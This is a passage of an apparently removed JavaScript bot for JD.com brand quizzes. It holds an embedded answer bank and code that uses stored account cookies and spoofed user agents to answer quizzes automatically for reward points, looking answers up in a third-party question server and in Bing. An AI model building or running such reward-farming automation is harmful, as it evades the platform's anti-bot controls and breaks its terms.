04:37:46","status":"1"},{"questionId":"9101428096","questionIndex":"1","questionStem":"以下哪位是百威啤酒代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvJ_6j3TxwHu08eNA\",\"optionDesc\":\"陈冠希\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvTzSrepyn3n9z_8m\",\"optionDesc\":\"张震岳\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVcnhIXqo7WeBlMdohllelqRtUQoOw7k_8fS3FUDUpJ39jDvLZzghsIPu4ZIU2epYL7aY7SKzg7E4VhRkEw","correct":"{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}","create_time":"27/1/2021 04:49:16","update_time":"27/1/2021 04:49:16","status":"1"},{"questionId":"9101428097","questionIndex":"3","questionStem":"以下哪个属于百威啤酒系列?","options":"[{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvSoHcCh-zqzEG_Kx\",\"optionDesc\":\"百威酷爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvG9o1QcRIkKFYjo9\",\"optionDesc\":\"百威醇爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVMnjIXqo7d5RcE0ARccxCRkBFKdo8gGa1CPNGFQo661nQcuoMQoy20SAaOIVYLAON_PNfMtegWY1Ix7mKQ","correct":"{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}","create_time":"27/1/2021 04:51:05","update_time":"27/1/2021 04:51:05","status":"1"},{"questionId":"9101428126","questionIndex":"1","questionStem":"以下哪个不属于百威啤酒的酿造原料?","options":"[{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8QoJPwIJVe4yEO0\",\"optionDesc\":\"酵母\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8DqFh1XIZWdrmJU\",\"optionDesc\":\"小麦\"}]","questionToken":"IsUSx0BRhz_3BWSbpRHypgwnutLuM9UVLAllG44GeYuLEujKqgbZW-BZ0o8xRDnZRXOR-EFrMoQn3zth3VviUooOnTYQ1A","correct":"{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"}","create_time":"27/1/2021 04:39:13","update_time":"27/1/2021 04:39:13","status":"1"},{"questionId":"9101428130","questionIndex":"1","questionStem":"百威啤酒被誉为?","options":"[{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8AmJSwj4jcoB-lgsIw\",\"optionDesc\":\"“啤酒界的XO”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8bJTeUomvc-dLdAlsA\",\"optionDesc\":\"“啤酒界的保时捷”\"}]","questionToken":"IsUSx0BRhz_2A2SbpRHypjrp54S3oMZW6fVAOrqMXv752Ey1j22bLTAu2zQVlFsT1LanDxl9oSeY6wFrwiW5i_G_7Hz7CQ","correct":"{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"}","create_time":"27/1/2021 04:51:15","update_time":"27/1/2021 04:51:15","status":"1"},{"questionId":"9101428131","questionIndex":"1","questionStem":"美赞臣铂睿全跃产品代言人是谁?","options":"[{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8UyQVwiDKIB0IYFrcg\",\"optionDesc\":\"应采儿\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8DiwEeN4hqXIRIb48A\",\"optionDesc\":\"郑希怡\"}]","questionToken":"IsUSx0BRhz_2AmSbpRHypgpYoIm2O43K5sR1c3kA_hu5JWviarchwqe6zvPaa9huX5Yjo2Lv8JuBeLxOqLRf5Xbx760RHQ","correct":"{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"}","create_time":"27/1/2021 04:43:13","update_time":"27/1/2021 04:43:13","status":"1"},{"questionId":"9101428491","questionIndex":"3","questionStem":"以下哪款美赞臣产品含20倍乳铁蛋白?","options":"[{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_j6wamcb5zQ5eKEM\",\"optionDesc\":\"铂睿\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_2JBCNSIEscqPzJK\",\"optionDesc\":\"学优力\\t\"}]","questionToken":"IsUSx0BRhzoyJWE6aymNqSRgPskVLI_NADijQkkctzS6eEGq5rb0Rffi0zPwqXaalmugCAhAGXxwFSAuaS6B0amjp4x6_Q","correct":"{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428492","questionIndex":"3","questionStem":"美赞臣铂睿A2蛋白系列的特点是?","options":"[{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_nJ9ig06bvo8j6Fy_A\",\"optionDesc\":\"添加β葡聚糖\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_7D3FSxydGW1Xomnaw\",\"optionDesc\":\"添加乳铁蛋白\\t\"}]","questionToken":"IsUSx0BRhzoyJmE6aymNrkymm8UkUplQad6enkVAbmJr8i2KL8ilQCzr85ON-ddYhzEsKKxMMbfPDcdHTUWzj9yucDDJmg","correct":"{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"9101428493","questionIndex":"3","questionStem":"美赞臣亲舒使用的什么配方?","options":"[{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_giomFfrVyvWyw\",\"optionDesc\":\"没有水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW__aYr9mcvPGYew\",\"optionDesc\":\"深度水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}]","questionToken":"IsUSx0BRhzoyJ2E6aymNrim8tV4Axpa3Md0eaZGv5LvuOIgVt4C-XvZR2k2xWTKSUHXxwiBw-QiGupyprwhZEf4sNEkDLQ","correct":"{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 04:33:08","status":"1"},{"questionId":"9101428494","questionIndex":"2","questionStem":"美赞臣的哪款产品可以补充宝妈DHA呢? ","options":"[{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_lkaHYq2zWgmrgV4\",\"optionDesc\":\"铂睿全跃\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_1VPwcP1bXWjwC5I\",\"optionDesc\":\"学优素\"}]","questionToken":"IsUSx0BRhzoyIGE7aymNqTtWG0BWQzYK4dKfuShEySLQURGSyN6mgrwJD4FFHdVVtJ-9d17Q2g5bvkzVYFHzV9gJeltDmA","correct":"{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"9101428495","questionIndex":"4","questionStem":"好奇Huggies诞生于哪一年?","options":"[{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_y5s2Fev08igng\",\"optionDesc\":\"1998\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_rnQTJJZMNjgRA\",\"optionDesc\":\"2008\"}]","questionToken":"IsUSx0BRhzoyIWE9aymNro851_v3t2sSlgjOtir18LPWXIJjW0afF2sRqIbB3NuGoMSwEPZvojMY1AsCmOJ9dFUzRn5oUQ","correct":"{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"}","create_time":"27/1/2021 04:51:14","update_time":"27/1/2021 04:51:14","status":"1"},{"questionId":"9101428496","questionIndex":"5","questionStem":"好奇Huggies的标志颜色是?","options":"[{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_vKi_1BnNy9Rr-Vk\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_8F8hMEB1YLY84g1\",\"optionDesc\":\"黄色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"IsUSx0BRhzoyImE8aymNrv2fczxcCr4UKxSAYPwPcFkz-zZvMBN_mh4bAhwQxHwXKsTJ1d8SL6kGmpnWf2s1FU2OaXGCDg","correct":"{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:48:43","update_time":"27/1/2021 04:48:43","status":"1"},{"questionId":"9101428497","questionIndex":"2","questionStem":"好奇皇家御裤都有什么花纹?","options":"[{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_jlnobQp6x1_Fw\",\"optionDesc\":\"萌萌金牛纹\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_476e3lcGspA4Q\",\"optionDesc\":\"云霓凤凰纹\"}]","questionToken":"IsUSx0BRhzoyI2E7aymNqWf5Dk1rTo0R5RuBRYV6XhXwkC1EvrX3usJ9nWSGnAOhefNNumWFSFhwvNvfS4aQvEbX55KiHQ","correct":"{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101428498","questionIndex":"2","questionStem":"好奇皇家御裤有多薄?","options":"[{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_2dFfPQXcwvHCVc\",\"optionDesc\":\"0.8cm的裸感芯\\t\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_p3_p6XPT04fBYA\",\"optionDesc\":\"0.9cm的裸感芯\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}]","questionToken":"IsUSx0BRhzoyLGE7aymNqfghyyZF0BXRi7j-Q8IEJgUCwegbnx1DkjtKWsJfUMpIkCMvCg6p_Pp4zV_RMSIlRCOaHc1KiA","correct":"{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"}] - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - $.stopAnswer = false; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdImmortalAnswer() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdImmortalAnswer() { - try { - $.risk = false - $.earn = 0 - await getHomeData() - if ($.risk) return - if ($.isNode()) { - //一天答题上限是15次 - for (let i = 0; i < 15; i++) { - $.log(`\n开始第 ${i + 1}次答题\n`); - await getQuestions() - await $.wait(2000) - if ($.stopAnswer) break - } - } else { - await getQuestions() - } - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -function getHomeData(info = false) { - return new Promise((resolve) => { - $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - const {userCoinNum} = data.result - if (info) { - $.earn = userCoinNum - $.coin - } else { - console.log(`当前用户金币${userCoinNum}`) - } - $.coin = userCoinNum - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.earn}积分` - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function getQuestions() { - return new Promise((resolve) => { - $.get(taskUrl('mcxhd_brandcity_getQuestions'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['retCode'] === "200") { - console.log(`答题开启成功`) - let i = 0, questionList = [] - for (let vo of data.result.questionList) { - $.question = vo - let option = null, hasFound = false - - console.log(`去查询第${++i}题:【${vo.questionStem}】`) - let ques = $.tk.filter(qo => qo.questionId === vo.questionId) - - if (ques.length) { - ques = ques[0] - let ans = JSON.parse(ques.correct) - let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) - if (opt.length) { - console.log(`在脚本内置题库中找到题啦~`) - option = opt[0] - hasFound = true - } else { - console.log(`在脚本内置题库中 未找到答案,去线上题库寻找~`); - ques = await getQues(vo.questionId) - if (ques) { - let ans = JSON.parse(ques.correct) - let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) - if (opt.length) { - console.log(`在线上题库中找到题啦~`) - option = opt[0] - hasFound = true - } - } - } - } - - if (!option) { - console.log(`在题库中未找到题`) - let ans = -1 - for (let opt of vo.options) { - let str = vo.questionStem + opt.optionDesc - console.log(`去搜索${str}`) - let res = await bing(str) - if (res > ans) { - option = opt - ans = res - } - await $.wait(2 * 1000) - } - if (!option) { - option = vo.options[1] - console.log(`未找到答案,都选B【${option.optionDesc}】\n`) - } else { - console.log(`选择搜索返回结果最多的一项【${option.optionDesc}】\n`) - } - } - - let b = { - "questionToken": vo.questionToken, - "optionId": option.optionId - } - $.option = option - await answer(b) - if (!hasFound) questionList.push($.question) - if (i < data.result.questionList.length) { - if (hasFound) - await $.wait(2 * 1000) - else - await $.wait(5 * 1000) - } - } - for (let vo of questionList) { - $.question = vo - await submitQues({ - ...$.question, - options: JSON.stringify($.question.options), - correct: JSON.stringify($.question.correct), - }) - } - } else if (data && data['retCode'] === '325') { - console.log(`答题开启失败,${data['retMessage']}`); - $.stopAnswer = true;//答题已到上限 - } else if (data && data['retCode'] === '326') { - console.log(`答题开启失败,${data['retMessage']}`); - $.stopAnswer = true;//答题已到上限 - } else { - console.log(JSON.stringify(data)) - console.log(`答题开启失败`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function submitQues(question) { - return new Promise(resolve => { - $.post({ - 'url': 'http://qa.turinglabs.net:8081/api/v1/question', - 'headers': { - 'Content-Type': 'application/json' - }, - body: JSON.stringify(question), - }, (err, resp, data) => { - try { - data = JSON.parse(data) - if (data.status === 200) { - console.log(`提交成功`) - } else { - console.log(`提交失败`) - } - resolve() - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function getQues(questionId) { - return new Promise(resolve => { - $.get({ - 'url': `http://qa.turinglabs.net:8081/api/v1/question/${questionId}/`, - 'headers': { - 'Content-Type': 'application/json' - } - }, (err, resp, data) => { - try { - data = JSON.parse(data) - if (data.status === 200) { - resolve(data.data) - } else { - resolve(null) - } - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function answer(body = {}) { - return new Promise((resolve) => { - $.get(taskUrl('mcxhd_brandcity_answerQuestion', {"costTime": 1, ...body}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - // console.log(data) - if (data && data['retCode'] === "200") { - if (data.result.isCorrect) { - console.log(`您选对啦!获得积分${data.result.score},本次答题共计获得${data.result.totalScore}分`) - $.earn += parseInt(data.result.score) - $.question = { - ...$.question, - correct: $.option - } - } else { - let correct = $.question.options.filter(vo => vo.optionId === data.result.correctOptionId)[0] - console.log(`您选错啦~正确答案是:${correct.optionDesc}`) - $.question = { - ...$.question, - correct: correct - } - } - if (data.result.isLastQuestion) { - console.log(`答题完成`) - } - } else { - console.log(`答题失败`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function bing(str) { - return new Promise(resolve => { - $.ckjar = null; - $.get({ - url: `https://www.bing.com/search?q=${str}`, - headers: { - 'Connection': 'Keep-Alive', - 'Accept': 'text/html, application/xhtml+xml, */*', - 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', - 'Accept-Encoding': 'gzip, deflate', - 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36' - } - }, (err, resp, data) => { - try { - let num = parseInt(data.match(/="sb_count">(.*) 条结果<\/span>/)[1].split(',').join('')) - console.log(`找到结果${num}个`) - resolve(num) - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) - -} - -function taskUrl(function_id, body = {}, function_id2) { - body = {"token": 'jd17919499fb7031e5', ...body} - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi&t=${new Date().getTime()}&sid=&uuid=&area=&networkType=wifi`, - headers: { - "Cookie": cookie, - 'Accept': "application/json, text/plain, */*", - 'Accept-Language': 'zh-cn', - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/babelDiy/Zeus/4XjemYYyPScjmGyjej78M6nsjZvj/index.html", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - body = {...body, "token": 'jd17919499fb7031e5'} - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 